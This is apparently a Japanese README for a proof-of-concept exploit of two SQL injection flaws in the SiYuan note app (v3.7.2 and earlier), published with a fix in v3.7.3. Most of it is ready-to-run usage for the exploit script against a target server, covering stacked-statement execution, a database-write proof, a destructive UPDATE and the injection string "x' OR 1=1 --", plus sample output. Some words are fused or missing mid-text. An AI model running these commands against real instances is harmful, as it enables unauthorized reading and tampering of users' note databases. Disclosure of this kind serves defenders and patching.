
CVE-2026-69084/69085 — searchEmbedBlock + searchDocs SQLi を介した SiYuan の任意 SQL 実行 (CVSS 9.9)。v3.7.2 で検証済み、v3.7.3 で拒否。
CVE-2026-69084: /api/search/searchEmbedBlock を介した任意SQL実行
CVE-2026-69085: /api/filetree/searchDocs を介したSQLインジェクション
CVSS 9.9 (Critical) 各 · CWE-89 · SiYuan <= v3.7.2 (v3.7.3で修正)
公開日 2026-08-03 · 公開時点で公開PoCなし
SiYuan(オープンソースのノートアプリ、github.com/siyuan-note/siyuan)は
攻撃者が制御するSQLをSQLiteデータベースに渡す2つのAPIエンドポイントを公開しています。
CVE-2026-69084 — /api/search/searchEmbedBlock:
stmt パラメータは、単一ステートメント制限や読み取り専用制限なしで
メインの読み書き用 siyuan.db ハンドルにそのまま渡されます。
SQLiteドライバはスタック(セミコロン区切り)ステートメントを実行するため、
攻撃者はデータベース内の任意の CREATE / / / / を実行できます。
のみで保護されており、公開用 RoleReader トークンで到達可能、
または公開モードで の場合に匿名で到達可能です。
INSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
keyword パラメータは、エスケープやパラメータバインドなしでSQLに直接連結されます。
両方とも v3.7.3 で sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox() により修正されました。
# 1. 非破壊的プローブ (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB書き込みの証明: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. 任意SQLの実行(スタックステートメント対応)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
インスタンスが公開モードで認証無効(Publish.Auth.Enable=false)で実行されている場合、
--auth はまったく不要です。
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db
# ホスト側:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
修正版 v3.7.3 は同じリクエストを拒否します:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT は引き続き動作(正当な機能は維持)Python PoCはセッションログイン(/api/system/loginAuth)を実行して
認証Cookieを取得し、脆弱なエンドポイントにPOSTします。
b3log/siyuan:v3.7.2(脆弱)と b3log/siyuan:v3.7.3(修正済み)でテスト済みです。
Publish.Auth.Enable=true を維持し、
強力な RoleReader トークンを使用してください。認可されたセキュリティテストおよび教育目的のみに使用してください。